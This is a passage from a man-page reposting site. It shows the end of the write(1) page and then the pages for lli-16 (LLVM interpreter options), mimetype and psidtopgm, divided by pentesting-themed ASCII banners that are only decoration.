The traditional protocol for writing to someone is that the string -o, either at the end of a line or on a line by itself, means that it’s the other person’s turn to talk. The string oo means that the person believes the conversation to be over.

OPTIONS

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

HISTORY

A write command appeared in Version 5 AT&T UNIX (Jun 1974).

SEE ALSO

mesg(1), talk(1), who(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The write command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1283 - Linux cli command lli-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lli-16 and provides detailed information about the command lli-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lli-16.

NAME 🖥️ lli-16 🖥️

manual page for lli 16

DESCRIPTION

OVERVIEW: llvm interpreter & dynamic compiler

USAGE: lli [options] <input bitcode> <program arguments>…

OPTIONS:

Color Options:

–color - Use colors in output (default=autodetect)

General options:

-O <char> - Optimization level. [-O0, -O1, -O2, or -O3] (default = ‘-O2’)

–aarch64-neon-syntax=<value> - Choose style of NEON code to emit from AArch64 backend:

=generic
- Emit generic NEON assembly

=apple
- Emit Apple-style NEON assembly

–aarch64-use-aa - Enable the use of AA during codegen.

–abort-on-max-devirt-iterations-reached - Abort when the max iterations for devirtualization CGSCC repeat pass is reached

–addrsig - Emit an address-significance table

–align-loops=<uint> - Default alignment for loops

–allow-ginsert-as-artifact - Allow G_INSERT to be considered an artifact. Hack around AMDGPU test infinite loops.

–amdgpu-bypass-slow-div - Skip 64-bit divide for dynamic 32-bit values

–amdgpu-disable-loop-alignment - Do not align and prefetch loops

–amdgpu-dpp-combine - Enable DPP combiner

–amdgpu-dump-hsa-metadata - Dump AMDGPU HSA Metadata

–amdgpu-enable-merge-m0 - Merge and hoist M0 initializations

–amdgpu-enable-power-sched - Enable scheduling to minimize mAI power bursts

–amdgpu-promote-alloca-to-vector-limit=<uint> - Maximum byte size to consider promote alloca to vector

–amdgpu-sdwa-peephole - Enable SDWA peepholer

–amdgpu-use-aa-in-codegen - Enable the use of AA during codegen.

–amdgpu-verify-hsa-metadata - Verify AMDGPU HSA Metadata

–amdgpu-vgpr-index-mode - Use GPR indexing mode instead of movrel for vector indexing

–arm-add-build-attributes -

–arm-implicit-it=<value> - Allow conditional instructions outdside of an IT block

=always
- Accept in both ISAs, emit implicit ITs in Thumb

=never
- Warn in ARM, reject in Thumb

=arm
- Accept in ARM, reject in Thumb

=thumb
- Warn in ARM, emit implicit ITs in Thumb

–asm-show-inst - Emit internal instruction representation to assembly file

–atomic-counter-update-promoted - Do counter update using atomic fetch add
for promoted counters only

–atomic-first-counter - Use atomic fetch add for first counter in a function (usually the entry counter)

–basic-block-sections=<all | <function list (file)> | labels | none> - Emit basic blocks into separate sections

–bounds-checking-single-trap - Use one trap block per function

–cfg-hide-cold-paths=<number> - Hide blocks with relative frequency below the given value

–cfg-hide-deoptimize-paths -

–cfg-hide-unreachable-paths -

–code-model=<value> - Choose code model

=tiny
- Tiny code model

=small
- Small code model

=kernel
- Kernel code model

=medium
- Medium code model

=large
- Large code model

–compile-threads=<uint> - Choose the number of compile threads (jit-kind=orc-lazy only)

–cost-kind=<value> - Target cost kind

=throughput
- Reciprocal throughput

=latency
- Instruction latency

=code-size
- Code size

=size-latency
- Code size and latency

–cs-profile-generate - Perform context sensitive PGO instrumentation

–cs-profile-path=<string> - Context sensitive profile file path

–data-sections - Emit data into separate sections

–debug-entry-values - Enable debug info for the debug entry values.

–debug-info-correlate - Use debug info to correlate profiles.

–debugger-tune=<value> - Tune debug info for a particular debugger

=gdb
- gdb

=lldb
- lldb

=dbx
- dbx

=sce
- SCE targets (e.g. PS4)

–debugify-func-limit=<ulong> - Set max number of processed functions per pass.

–debugify-level=<value> - Kind of debug info to add

=locations
- Locations only

=location+variables
- Locations and Variables

–debugify-quiet - Suppress verbose debugify output

–denormal-fp-math=<value> - Select which denormal numbers the code is permitted to require

=ieee
- IEEE 754 denormal numbers

=preserve-sign
- the sign of a flushed-to-zero number is preserved in the sign of 0

=positive-zero
- denormals are flushed to positive zero

–denormal-fp-math-f32=<value> - Select which denormal numbers the code is permitted to require for float

=ieee
- IEEE 754 denormal numbers

=preserve-sign
- the sign of a flushed-to-zero number is preserved in the sign of 0

=positive-zero
- denormals are flushed to positive zero

–disable-i2p-p2i-opt - Disables inttoptr/ptrtoint roundtrip optimization

–disable-lazy-compilation - Disable JIT lazy compilation

–disable-promote-alloca-to-lds - Disable promote alloca to LDS

–disable-promote-alloca-to-vector - Disable promote alloca to vector

–disable-tail-calls - Never emit tail calls

–dlopen=<string> - Dynamic libraries to load before linking

–do-counter-promotion - Do counter register promotion

–dot-cfg-mssa=<file name for generated dot file> - file name for generated dot file

–dwarf-version=<int> - Dwarf version

–dwarf64 - Generate debugging info in the 64-bit DWARF format

–emit-call-site-info - Emit call site debug information, if debug information is enabled.

–emit-dwarf-unwind=<value> - Whether to emit DWARF EH frame entries.

=always
- Always emit EH frame entries

=no-compact-unwind
- Only emit EH frame entries when compact unwind is not available

=default
- Use target platform default

–emscripten-cxx-exceptions-allowed=<string> - The list of function names in which Emscripten-style exception handling is enabled (see emscripten EMSCRIPTEN_CATCHING_ALLOWED options)

–emulated-tls - Use emulated TLS model

–enable-approx-func-fp-math - Enable FP math optimizations that assume approx func

–enable-cache-manager - Use cache manager to save/load modules

–enable-cse-in-irtranslator - Should enable CSE in irtranslator

–enable-cse-in-legalizer - Should enable CSE in Legalizer

–enable-emscripten-cxx-exceptions - WebAssembly Emscripten-style exception handling

–enable-emscripten-sjlj - WebAssembly Emscripten-style setjmp/longjmp handling

–enable-gvn-hoist - Enable the GVN hoisting pass (default = off)

–enable-gvn-memdep -

–enable-gvn-sink - Enable the GVN sinking pass (default = off)

–enable-jmc-instrument - Instrument functions with a call to __CheckForDebuggerJustMyCode

–enable-load-in-loop-pre -

–enable-load-pre -

–enable-loop-simplifycfg-term-folding -

–enable-name-compression - Enable name/filename string compression

–enable-no-infs-fp-math - Enable FP math optimizations that assume no +-Infs

–enable-no-nans-fp-math - Enable FP math optimizations that assume no NaNs

–enable-no-signed-zeros-fp-math - Enable FP math optimizations that assume the sign of 0 is insignificant

–enable-no-trapping-fp-math - Enable setting the FP exceptions build attribute not to use exceptions

–enable-split-backedge-in-load-pre -

–enable-unsafe-fp-math - Enable optimizations that may decrease FP precision

–entry-function=<function> - Specify the entry function (default = ‘main’) of the executable

–exception-model=<value> - exception model

=default
- default exception handling model

=dwarf
- DWARF-like CFI based exception handling

=sjlj
- SjLj exception handling

=arm
- ARM EHABI exceptions

=wineh
- Windows exception model

=wasm
- WebAssembly exception handling

–experimental-debug-variable-locations - Use experimental new value-tracking variable locations

–extra-archive=<input archive> - Extra archive files to be loaded

–extra-module=<input bitcode> - Extra modules to be loaded

–extra-object=<input object> - Extra object files to be loaded

–fake-argv0=<executable> - Override the ‘argv[0]’ value passed into the executing program

–fatal-warnings - Treat warnings as errors

–filetype=<value> - Choose a file type (not all types are supported by all targets):

=asm
- Emit an assembly (’.s’) file

=obj
- Emit a native object (’.o’) file

=null
- Emit nothing, for performance testing

–float-abi=<value> - Choose float ABI type

=default
- Target default float ABI type

=soft
- Soft float ABI (implied by -soft-float)

=hard
- Hard float ABI (uses FP registers)

–force-dwarf-frame-section - Always emit a debug frame section.

–force-interpreter - Force interpretation: disable JIT

–fp-contract=<value> - Enable aggressive formation of fused FP ops

=fast
- Fuse FP ops whenever profitable

=on
- Only fuse ‘blessed’ FP ops.

=off
- Only fuse FP ops when the result won’t be affected.

–frame-pointer=<value> - Specify frame pointer elimination optimization

=all
- Disable frame pointer elimination

=non-leaf
- Disable frame pointer elimination for non-leaf frame

=none
- Enable frame pointer elimination

–fs-profile-debug-bw-threshold=<uint> - Only show debug message if the source branch weight is greater
than this value.

–fs-profile-debug-prob-diff-threshold=<uint> - Only show debug message if the branch probility is greater than this value (in percentage).

–function-sections - Emit functions into separate sections

–generate-merged-base-profiles - When generating nested context-sensitive profiles, always generate extra base profile for function with all its context profiles merged into it.

–gpsize=<uint> - Global Pointer Addressing Size.
The default size is 8.

–hash-based-counter-split - Rename counter variable of a comdat function based on cfg hash

–hot-cold-split - Enable hot-cold splitting pass

–ignore-xcoff-visibility - Not emit the visibility attribute for asm in AIX OS or give all symbols ‘unspecified’ visibility in XCOFF object file

–import-all-index - Import all external functions in index.

–incremental-linker-compatible - When used with filetype=obj, emit an object file which can be used with an incremental linker

–instcombine-code-sinking - Enable code sinking

–instcombine-guard-widening-window=<uint> - How wide an instruction window to bypass looking for another guard

–instcombine-max-iterations=<uint> - Limit the maximum number of instruction combining iterations

–instcombine-max-num-phis=<uint> - Maximum number phis to handle in intptr/ptrint folding

–instcombine-max-sink-users=<uint> - Maximum number of undroppable users for instruction sinking

–instcombine-maxarray-size=<uint> - Maximum array size considered when doing a combine

–instcombine-negator-enabled - Should we attempt to sink negations?

–instcombine-negator-max-depth=<uint> - What is the maximal lookup depth when trying to check for viability of negation sinking.

–instrprof-atomic-counter-update-all - Make all profile counter updates atomic (for testing only)

–internalize-public-api-file=<filename> - A file containing list of symbol names to preserve

–internalize-public-api-list=<list> - A list of symbol names to preserve

–iterative-counter-promotion - Allow counter promotion across the whole loop nest.

–jd=<string> - Specifies the JITDylib to be used for any subsequent -extra-module arguments.

–jit-kind=<value> - Choose underlying JIT kind.

=mcjit
- MCJIT

=orc
- Orc JIT

=orc-lazy
- Orc-based lazy JIT.

–jit-linker=<value> - Choose the dynamic linker/loader.

=default
- Default for platform and JIT-kind

=rtdyld
- RuntimeDyld

=jitlink
- Orc-specific linker

–load=<pluginfilename> - Load the specified plugin

–lower-global-dtors-via-cxa-atexit - Lower llvm.global_dtors (global destructors) via __cxa_atexit

–lto-aix-system-assembler=<path> - Path to a system assembler, picked up on AIX only

–lto-embed-bitcode=<value> - Embed LLVM bitcode in object files produced by LTO

=none
- Do not embed

=optimized
- Embed after all optimization passes

=post-merge-pre-opt
- Embed post merge, but before optimizations

–lto-pass-remarks-filter=<regex> - Only record optimization remarks from passes whose names match the given regular expression

–lto-pass-remarks-format=<format> - The format used for serializing remarks (default: YAML)

–lto-pass-remarks-output=<filename> - Output filename for pass remarks

–march=<string> - Architecture to generate code for (see –version)

–matrix-default-layout=<value> - Sets the default matrix layout

=column-major
- Use column-major layout

=row-major
- Use row-major layout

–matrix-print-after-transpose-opt -

–mattr=<a1,+a2,-a3,…> - Target specific attributes (-mattr=help for details)

–max-counter-promotions=<int> - Max number of allowed counter promotions

–max-counter-promotions-per-loop=<uint> - Max number counter promotions per loop to avoid increasing register pressure too much

–mc-relax-all - When used with filetype=obj, relax all fixups in the emitted object file

–mcabac - tbd

–mcjit-remote-process=<filename> - Specify the filename of the process to launch for remote MCJIT execution.
If none is specified, remote execution will be simulated in-process.

–mcpu=<cpu-name> - Target a specific cpu type (-mcpu=help for details)

–meabi=<value> - Set EABI type (default depends on triple):

=default
- Triple default EABI version

=4
- EABI version 4

=5
- EABI version 5

=gnu
- EABI GNU

–merror-missing-parenthesis - Error for missing parenthesis around predicate registers

–merror-noncontigious-register - Error for register names that aren’t contigious

–mhvx - Enable Hexagon Vector eXtensions

–mhvx=<value> - Enable Hexagon Vector eXtensions

=v60
- Build for HVX v60

=v62
- Build for HVX v62

=v65
- Build for HVX v65

=v66
- Build for HVX v66

=v67
- Build for HVX v67

=v68
- Build for HVX v68

=v69
- Build for HVX v69

=v71
- Build for HVX v71

=v73
- Build for HVX v73

–mips-compact-branches=<value> - MIPS Specific: Compact branch policy.

=never
- Do not use compact branches if possible.

=optimal
- Use compact branches where appropriate (default).

=always
- Always use compact branches if possible.

–mips16-constant-islands - Enable mips16 constant islands.

–mips16-hard-float - Enable mips16 hard float.

–mir-strip-debugify-only - Should mir-strip-debug only strip debug info from debugified modules by default

–misexpect-tolerance=<uint> - Prevents emiting diagnostics when profile counts are within N% of the threshold..

–mno-compound - Disable looking for compound instructions for Hexagon

–mno-fixup - Disable fixing up resolved relocations for Hexagon

–mno-ldc1-sdc1 - Expand double precision loads and stores to their single precision counterparts

–mno-pairing - Disable looking for duplex instructions for Hexagon

–mtriple=<string> - Override target triple for module

–mwarn-missing-parenthesis - Warn for missing parenthesis around predicate registers

–mwarn-noncontigious-register - Warn for register names that arent contigious

–mwarn-sign-mismatch - Warn for mismatching a signed and unsigned value

–no-deprecated-warn - Suppress all deprecated warnings

–no-discriminators - Disable generation of discriminator information.

–no-process-syms - Do not resolve lli process symbols in JIT’d code

–no-type-check - Suppress type errors (Wasm)

–no-warn - Suppress all warnings

–no-xray-index - Don’t emit xray_fn_idx section

–nozero-initialized-in-bss - Don’t place zero-initialized symbols into bss section

–nvptx-sched4reg - NVPTX Specific: schedule for register pressue

–object-cache-dir=<string> - Directory to store cached object files (must be user writable)

–opaque-pointers - Use opaque pointers

–orc-runtime=<string> - Use ORC runtime from given path

–per-module-lazy - Performs lazy compilation on whole module boundaries rather than individual functions

–poison-checking-function-local - Check that returns are non-poison (for testing)

–print-pipeline-passes - Print a ‘-passes’ compatible string describing the pipeline (best-effort only).

–r600-ir-structurize - Use StructurizeCFG IR pass

–rdf-dump -

–rdf-limit=<uint> -

–relax-elf-relocations - Emit GOTPCRELX/REX_GOTPCRELX instead of GOTPCREL on x86-64 ELF

–relocation-model=<value> - Choose relocation model

=static
- Non-relocatable code

=pic
- Fully relocatable, position independent code

=dynamic-no-pic
- Relocatable external references, non-relocatable code

=ropi
- Code and read-only data relocatable, accessed PC-relative

=rwpi
- Read-write data relocatable, accessed relative to static base

=ropi-rwpi
- Combination of ropi and rwpi

–remote-mcjit - Execute MCJIT’ed code in a separate process.

–runtime-counter-relocation - Enable relocating counters at runtime.

–safepoint-ir-verifier-print-only -

–sample-profile-check-record-coverage=<N> - Emit a warning if less than N% of records in the input profile are matched to the IR.

–sample-profile-check-sample-coverage=<N> - Emit a warning if less than N% of samples in the input profile are matched to the IR.

–sample-profile-max-propagate-iterations=<uint> - Maximum number of iterations to go through when propagating sample block/edge weights through the CFG.

–skip-ret-exit-block - Suppress counter promotion if exit blocks contain ret.

–soft-float - Generate software floating point library calls

–speculative-counter-promotion-max-exiting=<uint> - The max number of exiting blocks of a loop to allow
speculative counter promotion

–speculative-counter-promotion-to-loop - When the option is false, if the target block is in a loop, the promotion will be disallowed unless the promoted counter
update can be further/iteratively promoted into an acyclic region.

–split-machine-functions - Split out cold basic blocks from machine functions based on profile information

–stack-size-section - Emit a section containing stack size metadata

–stack-symbol-ordering - Order local stack symbols.

–stackrealign - Force align the stack to the minimum alignment

–strict-dwarf - use strict dwarf

–summary-file=<string> - The summary file to use for function importing.

–sve-tail-folding=<string> - Control the use of vectorisation using tail-folding for SVE:
disabled No loop types will vectorize using tail-folding default Uses the default tail-folding settings for the target CPU all All legal loop types will vectorize using tail-folding simple Use tail-folding for simple loops (not reductions or recurrences) reductions Use tail-folding for loops containing reductions recurrences Use tail-folding for loops containing fixed order recurrences

–swift-async-fp=<value> - Determine when the Swift async frame pointer should be set

=auto
- Determine based on deployment target

=always
- Always set the bit

=never
- Never set the bit

–tail-predication=<value> - MVE tail-predication pass options

=disabled
- Don’t tail-predicate loops

=enabled-no-reductions
- Enable tail-predication, but not for reduction loops

=enabled
- Enable tail-predication, including reduction loops

=force-enabled-no-reductions
- Enable tail-predication, but not for reduction loops, and force this which might be unsafe

=force-enabled
- Enable tail-predication, including reduction loops, and force this which might be unsafe

–tailcallopt - Turn fastcc calls into tail calls by (potentially) changing ABI.

–thinlto-assume-merged - Assume the input has already undergone ThinLTO function importing and the other pre-optimization pipeline changes.

–thread-entry=<string> - calls the given entry-point on a new thread (jit-kind=orc-lazy only)

–thread-model=<value> - Choose threading model

=posix
- POSIX thread model

=single
- Single thread model

–threads=<int> -

–tls-size=<uint> - Bit size of immediate TLS offsets

–type-based-intrinsic-cost - Calculate intrinsics cost based only on argument types

–unique-basic-block-section-names - Give unique names to every basic block section

–unique-section-names - Give unique names to every section

–use-ctors - Use .ctors instead of .init_array.

–vec-extabi - Enable the AIX Extended Altivec ABI.

–verify-region-info - Verify region info (time consuming)

–vp-counters-per-site=<number> - The average number of profile counters allocated per value profiling site.

–vp-static-alloc - Do static counter allocation for value profiler

–wasm-enable-eh - WebAssembly exception handling

–wasm-enable-sjlj - WebAssembly setjmp/longjmp handling

–x86-align-branch=<string> - Specify types of branches to align (plus separated list of types):
jcc indicates conditional jumps fused indicates fused conditional jumps jmp indicates direct unconditional jumps call indicates direct and indirect calls ret indicates rets indirect indicates indirect unconditional jumps

–x86-align-branch-boundary=<uint> - Control how the assembler should align branches with NOP. If the boundary’s size is not 0, it should be a power of 2 and no less than 32. Branches will be aligned to prevent from being across or against the boundary of specified size. The default value 0 does not align branches.

–x86-branches-within-32B-boundaries - Align selected instructions to mitigate negative performance impact of Intel’s micro code update for errata skx102.
May break assumptions about labels corresponding to particular instructions, and should be used with caution.

–x86-pad-max-prefix-size=<uint> - Maximum number of prefixes to use for padding

–xcoff-traceback-table - Emit the XCOFF traceback table

Generic Options:

–help - Display available options (–help-hidden for more)

–help-list - Display list of available options (–help-list-hidden for more)

–version - Display the version of this program

Polly Options: Configure the polly loop optimizer

–polly - Enable the polly optimizer (with -O1, -O2 or -O3)

–polly-2nd-level-tiling - Enable a 2nd level loop of loop tiling

–polly-ast-print-accesses - Print memory access functions

–polly-context=<isl parameter set> - Provide additional constraints on the context parameters

–polly-dce-precise-steps=<int> - The number of precise steps between two approximating iterations. (A value of -1 schedules another approximation stage before the actual dead code elimination.

–polly-delicm-max-ops=<int> - Maximum number of isl operations to invest for lifetime analysis; 0=no limit

–polly-detect-full-functions - Allow the detection of full functions

–polly-dump-after - Dump module after Polly transformations into a file suffixed with “-after”

–polly-dump-after-file=<string> - Dump module after Polly transformations to the given file

–polly-dump-before - Dump module before Polly transformations into a file suffixed with “-before”

–polly-dump-before-file=<string> - Dump module before Polly transformations to the given file

–polly-enable-simplify - Simplify SCoP after optimizations

–polly-ignore-func=<string> - Ignore functions that match a regex. Multiple regexes can be comma separated. Scop detection will ignore all functions that match ANY of the regexes provided.

–polly-isl-arg=<argument> - Option passed to ISL

–polly-matmul-opt - Perform optimizations of matrix multiplications based on pattern matching

–polly-on-isl-error-abort - Abort if an isl error is encountered

–polly-only-func=<string> - Only run on functions that match a regex. Multiple regexes can be comma separated. Scop detection will run on all functions that match ANY of the regexes provided.

–polly-only-region=<identifier> - Only run on certain regions (The provided identifier must appear in the name of the region’s entry block

–polly-only-scop-detection - Only run scop detection, but no other optimizations

–polly-optimized-scops - Polly - Dump polyhedral description of Scops optimized with the isl scheduling optimizer and the set of post-scheduling transformations is applied on the schedule tree

–polly-parallel - Generate thread parallel code (isl codegen only)

–polly-parallel-force - Force generation of thread parallel code ignoring any cost model

–polly-pattern-matching-based-opts - Perform optimizations based on pattern matching

–polly-postopts - Apply post-rescheduling optimizations such as tiling (requires -polly-reschedule)

–polly-pragma-based-opts - Apply user-directed transformation from metadata

–polly-pragma-ignore-depcheck - Skip the dependency check for pragma-based transformations

–polly-process-unprofitable - Process scops that are unlikely to benefit from Polly optimizations.

–polly-register-tiling - Enable register tiling

–polly-report - Print information about the activities of Polly

–polly-reschedule - Optimize SCoPs using ISL

–polly-show - Highlight the code regions that will be optimized in a (CFG BBs and LLVM-IR instructions)

–polly-show-only - Highlight the code regions that will be optimized in a (CFG only BBs)

–polly-stmt-granularity=<value> - Algorithm to use for splitting basic blocks into multiple statements

=bb
- One statement per basic block

=scalar-indep
- Scalar independence heuristic

=store
- Store-level granularity

–polly-tc-opt - Perform optimizations of tensor contractions based on pattern matching

–polly-tiling - Enable loop tiling

–polly-vectorizer=<value> - Select the vectorization strategy

=none
- No Vectorization

=polly
- Polly internal vectorizer

=stripmine
- Strip-mine outer loops for the loop-vectorizer to trigger

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1284 - Linux cli command mimetypep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mimetypep and provides detailed information about the command mimetypep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mimetypep.

NAME 🖥️ mimetypep 🖥️

Determine file type

SYNOPSIS

mimetype [options] [-] files

DESCRIPTION

This script tries to determine the mime type of a file using the Shared MIME-info database. It is intended as a kind of file (1) work-alike, but uses mimetypes instead of descriptions.

If one symlinks the file command to mimetype it will behave a little more compatible, see “–file-compat”. Commandline options to specify alternative magic files are not implemented the same because of the conflicting data formats. Also the wording of the descriptions will differ.

For naming switches I followed the manpage of file (1) version 4.02 when possible. They seem to differ completely from the spec in the ‘utilities’ chapter of IEEE Std 1003.1-2001 (POSIX).

OPTIONS

-a, –all
Show output of all rules that match the file. TODO: this method now just returns one match for each method (globs, magic, etc.).

-b, –brief
Do not prepend filenames to output lines (brief mode).

–database=mimedir:mimedir:…
Force the program to look in these directories for the shared mime-info database. The directories specified by the basedir specification are ignored.

-d, –describe
Print file descriptions instead of mime types, this is the default when using “–file-compat”.

-D, –debug
Print debug information about how the mimetype was determined.

-f namefile, –namefile=namefile
Read the names of the files to be examined from the file ’namefile’ (one per line) before the argument list.

–file-compat
Make mimetype behave a little more file (1) compatible. This is turned on automatically when you call mimetype by a link called ‘file’. A single ‘-’ won’t be considered a separator between options and filenames anymore, but becomes identical to “–stdin”. ( You can still use ‘–’ as separator, but that is not backward compatible with the original file command. ) Also the default becomes to print descriptions instead of mimetypes.

-F string, –separator=string
Use string as custom separator between the file name and its mimetype or description, defaults to ‘:’ .

-h, –help

-u, –usage

Print a help message and exits.

-i, –mimetype
Use mime types, opposite to “–describe”, this is the default when _not_ using “–file-compat”.

-L, –dereference
Follow symbolic links.

-l code, –language=code
The language attribute specifies a two letter language code, this makes descriptions being outputted in the specified language.

-M, –magic-only
Do not check for extensions, globs or inode type, only look at the content of the file. This is particularly useful if for some reason you don’t trust the name or the extension a file has.

-N, –noalign
Do not align output fields.

–output-format
If you want an alternative output format, you can specify a format string containing the following escapes: %f for the filename %d description %m mime type Alignment is not available when using this, you need to post-process the output to do that.

–stdin
Determine type of content from STDIN, less powerful then normal file checking because it only uses magic typing. This will happen also if the STDIN filehandle is a pipe. To use this option IO::Scalar needs to be installed.

-v, –version
Print the version of the program and exit.

ENVIRONMENT

XDG_DATA_HOME

XDG_DATA_DIRS

These variables can list base directories to search for data files. The shared mime-info will be expected in the “mime” sub directory of one of these directories. If these are not set, there will be searched for the following directories: $HOME/.local/share/mime /usr/local/share/mime /usr/share/mime See also the “XDG Base Directory Specification” <http://freedesktop.org/Standards/basedir-spec>

FILES

The base dir for all data files is determined by two environment variables, see “ENVIRONMENT”.

BASE/mime/packages/SOURCE.xml
All other files are compiled from these source files. To re-compile them use update-mime-database (1).

BASE/mime/globs
Compiled information about globs.

BASE/mime/magic
Compiled information about magic numbers.

BASE/mime/MEDIA/SUBTYPE.xml
Descriptions of a mimetype in multiple languages, used for the “–describe” switch.

DIAGNOSTICS

If a file has an empty mimetype or an empty description, most probably the file doesn’t exist and the given name doesn’t match any globs. An empty description can also mean that there is no description available in the language you specified.

The program exits with a non-zero exit value if either the commandline arguments failed, a module it depends on wasn’t found or the shared mime-info database wasn’t accessible. See File::MimeInfo for more details.

TODO

The ‘–all’ switch doesn’t really show all matches, but only one per mime-typing method. This needs to be implemented in the modules first.

BUGS

If you find bugs, please file them in our Github issue tracker at <https://github.com/mbeijen/File-MimeInfo/issues>.

mimetype doesn’t provide a switch for looking inside compressed files because it seems to me that this can only be done by un-compressing the file, something that defeats the purpose. On the other hand the option should exist for strict compatibility with file (1). Possibly a subclass should be made for this one day.

AUTHOR

Jaap Karssenberg <[email protected]> Maintained by Michiel Beijen <[email protected]>

COPYRIGHT

Copyright (c) 2003, 2012 Jaap G Karssenberg. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as Perl.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

file (1), update-mime-database (1), File::MimeInfo (3), <http://freedesktop.org/Software/shared-mime-info>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1285 - Linux cli command psidtopgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psidtopgm and provides detailed information about the command psidtopgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psidtopgm.

.

NAME 🖥️ psidtopgm 🖥️

convert PostScript “image” data to a PGM image

SYNOPSIS

psidtopgm width height bits/sample [imagedata]

DESCRIPTION

This program is part of Netpbm(1) .

psidtopgm reads the “image” data from a PostScript file as input and produces a PGM image as output.

This program is obsoleted by pstopnm.

What follows was written before pstopnm existed.

This is a very simple and limited program, and is here only because so many people have asked for it. To use it you have to manually extract the readhexstring data portion from your PostScript file, and then give the width, height, and bits/sample on the command line. Before you attempt this, you should at least read the description of the “image” operator in the PostScript Language Reference Manual.

It would probably not be too hard to write a script that uses this filter to read a specific variety of PostScript image, but the variation is too great to make a general-purpose reader. Unless, of course, you want to write a full-fledged PostScript interpreter…

OPTIONS

There are no command line options defined specifically for psidtopgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pnmtops(1) , pgm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/psidtopgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

